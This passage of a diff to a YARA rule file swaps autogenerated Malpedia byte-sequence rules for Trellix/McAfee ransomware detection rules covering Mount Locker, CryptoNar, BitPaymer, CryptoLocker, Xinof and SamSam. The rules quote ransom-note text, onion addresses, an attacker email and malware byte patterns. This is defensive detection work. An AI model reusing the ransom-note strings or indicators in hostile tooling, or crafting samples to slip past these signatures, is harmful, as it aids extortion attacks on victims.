-		$sequence_9 = { 8b4d08 668b91d2070000 8a89d0070000 52 51 }
+		$s1 = {2D 2D 2D 52 41 47 4E 41 52 20 53 45 43 52 45 54 2D 2D 2D}
+		$s2 = { 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? B8 ?? ?? ?? ?? 0F 44 }
+		$s3 = { 5? 8B ?? 5? 5? 8B ?? ?? 8B ?? 85 ?? 0F 84 }
+		$s4 = { FF 1? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$s5 = { 8D ?? ?? ?? ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$op1 = { 0f 11 85 70 ff ff ff 8b b5 74 ff ff ff 0f 10 41 }
+		$p0 = { 72 eb fe ff 55 8b ec 81 ec 00 01 00 00 53 56 57 }
+		$p1 = { 60 be 00 00 41 00 8d be 00 10 ff ff 57 eb 0b 90 }
+		$bp0 = { e8 b7 d2 ff ff ff b6 84 }
+		$bp1 = { c7 85 7c ff ff ff 24 d2 00 00 8b 8d 7c ff ff ff }
+		$bp2 = { 8d 85 7c ff ff ff 89 85 64 ff ff ff 8d 4d 84 89 }
 
 	condition:
-		7 of them and filesize <770048
+		uint16(0)==0x5a4d and filesize <100KB and (4 of ($s*) and $op1) or all of ($p*) and pe.imphash()=="9f611945f0fe0109fe728f39aad47024" or all of ($bp*) and pe.imphash()=="489a2424d7a14a26bfcfb006de3cd226"
 }
-rule MALPEDIA_Win_Threebyte_Auto : FILE
+rule TRELLIX_ARC_RANSOM_Mountlocker : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ce3faee0-35b6-5807-9d64-6a9a343be0ab"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.threebyte"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.threebyte_auto.yar#L1-L127"
-		license_url = "N/A"
-		logic_hash = "ea76c04ceecd329a1dbc8646fe87d0982e2f7a41db170c209ba00ee2ed2e0d90"
+		description = "Rule to detect Mount Locker ransomware"
+		author = "McAfee ATR Team"
+		id = "8451b78c-3cef-557a-a2e3-0767a0b0eddb"
+		date = "2020-09-25"
+		modified = "2020-10-12"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_mountlocker.yar#L1-L32"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "fb332a6725b9276cca379dd3621943c69f88570fb317da27a857a2544d2aa4e0"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 64
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransomware:W32/MountLocker"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
+		hash1 = "4b917b60f4df6d6d08e895d179a22dcb7c38c6a6a6f39c96c3ded10368d86273"
+		hash2 = "f570d5b17671e6f3e56eae6ad87be3a6bbfac46c677e478618afd9f59bf35963"
 
 	strings:
-		$sequence_0 = { 85c0 0f8511010000 c68514ffffff5b c68515ffffff3e c68516ffffff3e c68517ffffff20 }
-		$sequence_1 = { 8a8415fcfeffff 88840dfcfeffff 8b8df0feffff 8a95f8feffff 88940dfcfeffff }
-		$sequence_2 = { 6a00 8d4dbc 51 6801000080 ff15???????? 85c0 7407 }
-		$sequence_3 = { e8???????? 83c404 83c8ff eb44 8b8d24f7ffff 038d14f7ffff 898d24f7ffff }
-		$sequence_4 = { 8b8d10f7ffff ff510c 8b9564f7ffff 52 8b8510f7ffff ff500c 8b4df4 }
-		$sequence_5 = { 8d8d68f3ffff e8???????? e9???????? c78568f2ffff00000000 c645fc00 8d4df0 e8???????? }
-		$sequence_6 = { 33c0 8dbddefcffff f3ab 66ab c78594faffff00010000 8d9594faffff 52 }
-		$sequence_7 = { 8b4d10 894df8 c745ec00000000 eb09 8b55ec }
-		$sequence_8 = { e8???????? 8985a8fbffff 668b15???????? 668995ecfbffff b9ff000000 }
-		$sequence_9 = { e8???????? 83c404 e9???????? c7459801010000 8b9564ffffff 8955a4 8b45ec }
+		$s1 = {63 69 64 3d 25 43 4c 49 45 4e 54 5f 49 44}
+		$s2 = {7a 73 61 33 77 78 76 62 62 37 67 76 36 35 77 6e 6c 37 6c 65 72 73 6c 65 65 33 63 37 69 32 37 6e 64 71 67 68 71 6d 36 6a 74 32 70 72 69 76 61 32 71 63 64 70 6f 6e 61 64 2e 6f 6e 69 6f 6e}
+		$s3 = {36 6d 6c 7a 61 68 6b 63 37 76 65 6a 79 74 70 70 62 71 68 71 6a 6f 75 34 69 70 66 74 67 73 33 67 69 7a 6f 66 32 78 34 7a 6b 6c 62 6c 6c 69 61 79 68 73 71 62 33 77 61 64 2e 6f 6e 69 6f 6e}
 
 	condition:
-		7 of them and filesize <180224
+		uint16(0)==0x5a4d and filesize <300KB and ($s1 and $s2) or ($s1 and $s3) or $s1
 }
-rule MALPEDIA_Win_Jripbot_Auto : FILE
+rule TRELLIX_ARC_Cryptonar_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7b1d247f-7cbb-5615-a25c-7a029e86230e"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jripbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jripbot_auto.yar#L1-L133"
-		license_url = "N/A"
-		logic_hash = "e485f4c42ec7ab7e0d2df3f1cd3bb910f7710773a4391061675b3c77a4acf337"
+		description = "Rule to detect CryptoNar Ransomware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "0911250f-fc1f-58bc-ac09-d77d2a2ed3ce"
+		date = "2024-09-01"
+		modified = "2020-08-14"
+		reference = "https://www.bleepingcomputer.com/news/security/cryptonar-ransomware-discovered-and-quickly-decrypted/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_CryptoNar.yar#L1-L36"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "04c1c4f45ad3552aa0876c3b645c6ca92493018f7fdc5d9d9ed26cf67199d21b"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/CryptoNar"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 48 3b442418 0f822bffffff 8b8c24fc010000 5f 5e 5b }
-		$sequence_1 = { c1e807 8807 02d2 885701 66c7060100 33c9 837b0401 }
-		$sequence_2 = { 8b5d08 c1eb08 23d8 0fb69b38834200 c1e608 33f3 8b5d0c }
-		$sequence_3 = { 8d742414 e8???????? 59 59 eb06 895c240c 33c0 }
-		$sequence_4 = { 33c0 8b8eb8000000 3bc7 0f95c0 6a02 884105 33db }
-		$sequence_5 = { 51 50 56 56 ff750c ff75fc ffd7 }
-		$sequence_6 = { 50 e8???????? 8b1d???????? 83c40c 8d442438 50 ff15???????? }
-		$sequence_7 = { 8b4004 894604 33c0 8b8c242c010000 5f 5e 5b }
-		$sequence_8 = { eb04 8b442430 8b4c241c 2b4c2418 ff742418 8b5c2438 }
-		$sequence_9 = { 7443 3bf8 743f 8b4368 397008 7537 8b4df4 }
+		$s1 = "C:\\narnar\\CryptoNar\\CryptoNarDecryptor\\obj\\Debug\\CryptoNar.pdb" fullword ascii
+		$s2 = "CryptoNarDecryptor.exe" fullword wide
+		$s3 = "server will eliminate the key after 72 hours since its generation (since the moment your computer was infected). Once this has " fullword ascii
+		$s4 = "Do not delete this file, else the decryption process will be broken" fullword wide
+		$s5 = "key you received, and wait until the decryption process is done." fullword ascii
+		$s6 = "In order to receive your decryption key, you will have to pay $200 in bitcoins to this bitcoin address: [bitcoin address]" fullword ascii
+		$s7 = "Decryption process failed" fullword wide
+		$s8 = "CryptoNarDecryptor.KeyValidationWindow.resources" fullword ascii
+		$s9 = "Important note: Removing CryptoNar will not restore access to your encrypted files." fullword ascii
+		$s10 = "johnsmith987654@tutanota.com" fullword wide
+		$s11 = "Decryption process will start soon" fullword wide
+		$s12 = "CryptoNarDecryptor.DecryptionProgressBarForm.resources" fullword ascii
+		$s13 = "DecryptionProcessProgressBar" fullword wide
+		$s14 = "CryptoNarDecryptor.Properties.Resources.resources" fullword ascii
 
 	condition:
-		7 of them and filesize <507904
+		( uint16(0)==0x5a4d and filesize <2000KB) and all of them
 }
-rule MALPEDIA_Win_Grillmark_Auto : FILE
+rule TRELLIX_ARC_Bitpaymer_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "891e7259-5469-58d4-a39e-a516f4f2c7d3"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grillmark"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.grillmark_auto.yar#L1-L127"
-		license_url = "N/A"
-		logic_hash = "fc8f047bb79d7c6ba82d87162ce46a1dc6555c1672864dfce07f64d88dd917ae"
+		description = "Rule to detect BitPaymer Ransomware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "20b91cf2-2a84-55d9-8230-90d7b20a461f"
+		date = "2019-11-08"
+		modified = "2020-08-14"
+		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/spanish-mssp-targeted-by-bitpaymer-ransomware/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Bitpaymer.yar#L1-L72"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "527cdbdf51e6f3f5d58e805cf4a1bc09c9d24880c2323046acef6ee03c92d62f"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 66
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/BitPaymer"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 83bd44ffffff04 7705 bb???????? 83bd44ffffff05 8b8548ffffff 7528 85c0 }
-		$sequence_1 = { 5e 5d c21400 55 8bec 56 68???????? }
-		$sequence_2 = { 59 7e13 50 57 6800000002 ff15???????? 8bd8 }
-		$sequence_3 = { 7409 ff75fc ff15???????? 56 56 56 }
-		$sequence_4 = { 66895dc4 50 c745c001010000 e8???????? ff7508 8d8590feffff 50 }
-		$sequence_5 = { 6a09 ab 59 8d7dc0 8975bc 8975f8 }
-		$sequence_6 = { 8dbdfdfeffff 889dfcfeffff 53 f3ab 66ab aa 8d85fcfeffff }
-		$sequence_7 = { 8d85f8fdffff 50 750d ffd7 8d85f4fcffff 50 }
-		$sequence_8 = { ff75f8 56 ff7508 ff75fc e8???????? 83c418 }
-		$sequence_9 = { ffd6 85c0 7473 8d45c8 }
+		$s1 = "IEncrypt.dll" fullword wide
+		$op0 = { e8 5f f3 ff ff ff b6 e0 }
+		$op1 = { e8 ad e3 ff ff 59 59 8b 75 08 8d 34 f5 38 eb 42 }
+		$op2 = { e9 45 ff ff ff 33 ff 8b 75 0c 6a 04 e8 c1 d1 ff }
+		$pdb = "S:\\Work\\_bin\\Release-Win32\\wp_encrypt.pdb" fullword ascii
+		$oj0 = { 39 74 24 34 75 53 8d 4c 24 18 e8 b8 d1 ff ff ba }
+		$oj1 = { 5f 8b c6 5e c2 08 00 56 8b f1 8d 4e 34 e8 91 af }
+		$oj2 = { 8b cb 8d bd 50 ff ff ff 8b c1 89 5f 04 99 83 c1 }
+		$t1 = ".C:\\aaa_TouchMeNot_.txt" fullword wide
+		$ok0 = { e8 b5 34 00 00 ff 74 24 18 8d 4c 24 54 e8 80 39 }
+		$ok1 = { 8b 5d 04 33 ff 8b 44 24 34 89 44 24 5c 85 db 7e }
+		$ok2 = { 55 55 ff 74 24 20 8d 4c 24 34 e8 31 bf 00 00 55 }
+		$random = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+" fullword ascii
+		$oi0 = { a1 04 30 ac 00 8b ce 0f af c2 03 c0 99 8b e8 89 }
+		$oi1 = { e8 64 a2 ff ff 85 c0 74 0c 8d 4d d8 51 ff 35 64 }
+		$oi2 = { c7 03 d4 21 ac 00 e8 86 53 00 00 89 73 10 89 7b }
+		$ou0 = { e8 64 a2 ff ff 85 c0 74 0c 8d 4d d8 51 ff 35 60 }
+		$ou1 = { a1 04 30 04 00 8b ce 0f af c2 03 c0 99 8b e8 89 }
+		$ou2 = { 8d 4c 24 10 e8 a0 da ff ff 68 d0 21 04 00 8d 4c }
+		$oa1 = { 56 52 ba 00 10 0c 00 8b f1 e8 28 63 00 00 8b c6 }
+		$oa2 = { 81 3d 50 30 0c 00 53 c6 d2 43 56 8b f1 75 23 ba }
+		$oy0 = { c7 06 cc 21 a6 00 c7 46 08 }
+		$oy1 = { c7 06 cc 21 a6 00 c7 46 08 }
+		$oy2 = { c7 06 cc 21 a6 00 c7 46 08 }
+		$oh1 = { e8 74 37 00 00 a3 00 30 fe 00 8d 4c 24 1c 8d 84 }
+		$oh2 = { 56 52 ba 00 10 fe 00 8b f1 e8 28 63 00 00 8b c6 }
 
 	condition:
-		7 of them and filesize <212992
+		( uint16(0)==0x5a4d and filesize <1000KB) and ($s1 and all of ($op*)) or ($pdb and all of ($oj*)) or ($t1 and all of ($ok*)) or ($random and all of ($oi*)) or ($random and all of ($ou*)) or ($random and all of ($oa*) and $ou0) or ($random and all of ($oy*)) or ($random and all of ($oh*)) or ($random and $ou0) or ($random and $oi1)
 }
-rule MALPEDIA_Win_Kelihos_Auto : FILE
+rule TRELLIX_ARC_Cryptolocker_Set1 : RANSOMWARE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5eeb2760-12b0-5f38-935d-d1f5e018b5d9"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kelihos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kelihos_auto.yar#L1-L134"
-		license_url = "N/A"
-		logic_hash = "0a57f5287680233f80bcd1391dc843be1b51717107a9ac1743ac21e2bb163525"
+		description = "Detection of Cryptolocker Samples"
+		author = "Christiaan Beek, Christiaan_Beek@McAfee.com"
+		id = "13ccc6d3-c2cc-59ac-81af-ec11fb78cd41"
+		date = "2014-04-13"
+		modified = "2020-08-14"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Cryptolocker.yar#L1-L40"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "5be8d077537a59d860a972392be186d2697e55778f750d03b0fd3b0a73f714d9"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Cryptolocker"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { e8???????? 59 59 c644241701 84c0 7505 c644241700 }
-		$sequence_1 = { ff7508 ff75fc ff7508 50 51 ff750c 56 }
-		$sequence_2 = { e8???????? 6a00 6a01 8d4dc0 e8???????? 8a45ef e8???????? }
-		$sequence_3 = { e8???????? b001 e8???????? c20800 6a18 b8???????? e8???????? }
-		$sequence_4 = { e8???????? 83c40c 53 6a01 8d8ddcfdffff e8???????? 53 }
-		$sequence_5 = { e8???????? c645fc02 807dd800 0f84f7000000 8b06 8b4004 03c6 }
-		$sequence_6 = { ff75ac 8d7db8 895da8 e8???????? 83c40c 84c0 0f840b010000 }
-		$sequence_7 = { 8b4d0c 8b5508 6a00 6a10 50 51 52 }
-		$sequence_8 = { c3 6a10 b8???????? e8???????? 8b7d08 33db 53 }
-		$sequence_9 = { e8???????? eb02 33c0 e8???????? c20400 83c1f8 8b01 }
+		$string0 = "static"
+		$string1 = " kscdS"
+		$string2 = "Romantic"
+		$string3 = "CompanyName" wide
+		$string4 = "ProductVersion" wide
+		$string5 = "9%9R9f9q9"
+		$string6 = "IDR_VERSION1" wide
+		$string7 = "  </trustInfo>"
+		$string8 = "LookFor" wide
+		$string9 = ":n;t;y;"
+		$string10 = "        <requestedExecutionLevel level"
+		$string11 = "VS_VERSION_INFO" wide
+		$string12 = "2.0.1.0" wide
+		$string13 = "<assembly xmlns"
+		$string14 = "  <trustInfo xmlns"
+		$string15 = "srtWd@@"
+		$string16 = "515]5z5"
+		$string17 = "C:\\lZbvnoVe.exe" wide
 
 	condition:
-		7 of them and filesize <4702208
+		12 of ($string*)
 }
-rule MALPEDIA_Win_Dma_Locker_Auto : FILE
+rule TRELLIX_ARC_Cryptolocker_Rule2 : RANSOMWARE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a8f397b8-8b2b-5241-983c-0be688886121"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dma_locker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dma_locker_auto.yar#L1-L123"
-		license_url = "N/A"
-		logic_hash = "b77f5ca2d335c463d6c2790ec00b5fbc00e6cee8478dbf10e4d2132a598117f8"
+		description = "Detection of CryptoLocker Variants"
+		author = "Christiaan Beek, Christiaan_Beek@McAfee.com"
+		id = "a6e808ef-4f60-5592-9440-69309784efb1"
+		date = "2014-04-14"
+		modified = "2020-08-14"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Cryptolocker.yar#L42-L79"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "e8e03516cc0b669000c8d6b443be7a5f7a8b904abba98fd3c7d4f038de6741ab"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Cryptolocker"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { e8???????? 8bf0 eb02 33f6 6803010000 8d8c24a1040000 }
-		$sequence_1 = { 57 56 e8???????? 83c40c 84db }
-		$sequence_2 = { 8bc7 e8???????? 84c0 741f 8b4f10 8b13 57 }
-		$sequence_3 = { 8a5dfd 32ca 8a55fc 32cb 8848ff 8aca }
-		$sequence_4 = { 8b5e04 8b0e 8945ec 8b55ec }
-		$sequence_5 = { ffd7 85c0 7fe3 5f }
-		$sequence_6 = { e8???????? 8b442420 8b00 83c40c 8d4c2424 51 }
-		$sequence_7 = { 52 ff15???????? a1???????? 6a00 50 ff15???????? e9???????? }
-		$sequence_8 = { 7545 68???????? e8???????? 8b95b0f6ffff 83c404 52 ff15???????? }
-		$sequence_9 = { 385e14 0f85e8000000 8b4618 83f8ff 7407 50 ff15???????? }
+		$string0 = "2.0.1.7" wide
+		$string1 = "    <security>"
+		$string2 = "Romantic"
+		$string3 = "ProductVersion" wide
+		$string4 = "9%9R9f9q9"
+		$string5 = "IDR_VERSION1" wide
+		$string6 = "button"
+		$string7 = "    </security>"
+		$string8 = "VFileInfo" wide
+		$string9 = "LookFor" wide
+		$string10 = "      </requestedPrivileges>"
+		$string11 = " uiAccess"
+		$string12 = "  <trustInfo xmlns"
+		$string13 = "last.inf"
+		$string14 = " manifestVersion"
+		$string15 = "FFFF04E3" wide
+		$string16 = "3,31363H3P3m3u3z3"
 
 	condition:
-		7 of them and filesize <532480
+		12 of ($string*)
 }
-rule MALPEDIA_Win_Fuxsocy_Auto : FILE
+rule TRELLIX_ARC_Ransom_Xinof : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "acae4e77-3091-5877-bdf5-d5242a4de3aa"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fuxsocy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fuxsocy_auto.yar#L1-L133"
-		license_url = "N/A"
-		logic_hash = "7715515075d3596588ef1486b8f0b7f8a98d13af15afc29c2d4231048e4e16d8"
+		description = "Detect Xinof ransomware"
+		author = "Thomas Roccia | McAfee ATR team"
+		id = "3b064ce4-cd5b-5a4a-bb55-a2c2c361791e"
+		date = "2020-11-20"
+		modified = "2020-11-20"
+		reference = "https://labs.sentinelone.com/the-fonix-raas-new-low-key-threat-with-unnecessary-complexities/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_xinof.yar#L53-L82"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "0c1e6299a2392239dbe7fead33ef4146"
+		logic_hash = "42110ee8869d56c53dc201cbc83652c6457541b8d502aa12b37ef6200e735a15"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom/XINOF"
+		actor_type = "Cybercrime"
+		actor_group = "FONIX"
 
 	strings:
-		$sequence_0 = { 72f0 8bcf e8???????? 5f 5e 5d ff74240c }
-		$sequence_1 = { 8b4e08 890491 ff06 eb02 891e 5b 5f }
-		$sequence_2 = { 6689442420 8d442422 53 50 894c2420 885c2413 895c2418 }
-		$sequence_3 = { 85c0 7426 68???????? 68???????? ff15???????? 50 ff15???????? }
-		$sequence_4 = { 6804010000 8d85ccfdffff 50 ff15???????? 68???????? 8d85ccfdffff 50 }
-		$sequence_5 = { e8???????? 59 59 eb4b 807e0200 7404 85db }
-		$sequence_6 = { c745f808020000 ff15???????? 85c0 753d 8d85e8fdffff 50 }
-		$sequence_7 = { 33f6 ff15???????? 8bc8 e8???????? 85c0 7426 68???????? }
-		$sequence_8 = { 68???????? 50 8d54241c 8d4c2424 e8???????? 83c40c 83c310 }
-		$sequence_9 = { 50 ff74241c 33c9 ff74242c 41 c744242c32000000 c744246804000000 }
+		$s1 = "XINOF.exe" nocase ascii
+		$s2 = "C:\\Users\\Phoenix" nocase ascii
+		$s3 = "How To Decrypt Files.hta" nocase ascii
+		$s4 = "C:\\ProgramData\\norunanyway" nocase ascii
+		$s5 = "C:\\ProgramData\\clast" nocase ascii
+		$s6 = "fonix1" nocase ascii
+		$s7 = "C:\\Windows\\System32\\shatdown.exe" nocase ascii
+		$s8 = "XINOF Ransomw" nocase ascii
+		$s9 = "XINOF v4.2" nocase ascii
+		$s10 = "XINOF Ransomware Version 3.3" nocase ascii
 
 	condition:
-		7 of them and filesize <131072
+		uint16(0)==0x5a4d and filesize <2000KB and 5 of ($s*) or TRELLIX_ARC_Ransom_Xinof_Chunk_PRIVATE
 }
-rule MALPEDIA_Win_Sakula_Rat_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Samsamransom2016 : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "877a5bc8-1502-5d2d-ac89-d1f9991b4673"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sakula_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sakula_rat_auto.yar#L1-L234"
-		license_url = "N/A"
-		logic_hash = "5566117feff4531b6238852b1dd267d13dd172e7c51c8c4e9976cadb5e493558"
+		description = "No description has been set in the source file - Trellix ARC"
+		author = "Christiaan Beek | McAfee ATR Team"
+		id = "1c7985d0-d01c-52f7-8819-e038ccc01212"
+		date = "2018-01-25"
+		modified = "2020-08-14"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_SamSam.yar#L3-L52"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "9e8034ec0ded82ad82b625d6d1b9918761decef0fd42a253722cdc620b355e1a"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 68
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/SamSam"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
+		hash1 = "45e00fe90c8aa8578fce2b305840e368d62578c77e352974da6b8f8bc895d75b"
 
 	strings:
-		$sequence_0 = { 6a00 6800010000 6a00 6a00 68???????? }
-		$sequence_1 = { 8bf0 56 6a01 57 53 }
-		$sequence_2 = { 57 56 e8???????? 8d7e10 8ad8 57 8bc7 }
-		$sequence_3 = { 33c9 85f6 7e15 8a0411 84c0 7409 }
-		$sequence_4 = { 53 e8???????? 83c40c 6a00 6a00 57 53 }
-		$sequence_5 = { 8bc7 e8???????? 83c408 833e01 }
-		$sequence_6 = { 50 e8???????? 83c404 32c0 5d }
-		$sequence_7 = { 53 e8???????? 56 e8???????? 83c41c 5f 5b }
-		$sequence_8 = { 66895db0 48895c2450 4889442458 4889442460 }
-		$sequence_9 = { ff15???????? 33d2 488bcb ff15???????? e8???????? 33c9 ff15???????? }
-		$sequence_10 = { 8b45d8 8b5de0 01d8 8945e0 6a01 e8???????? }
-		$sequence_11 = { 4c8bc6 33d2 33c9 448bc8 897c2428 48895c2420 ff15???????? }
-		$sequence_12 = { 0f8516010000 488d15e61c0000 41b804010000 48890d???????? ff15???????? ff15???????? 83f801 }
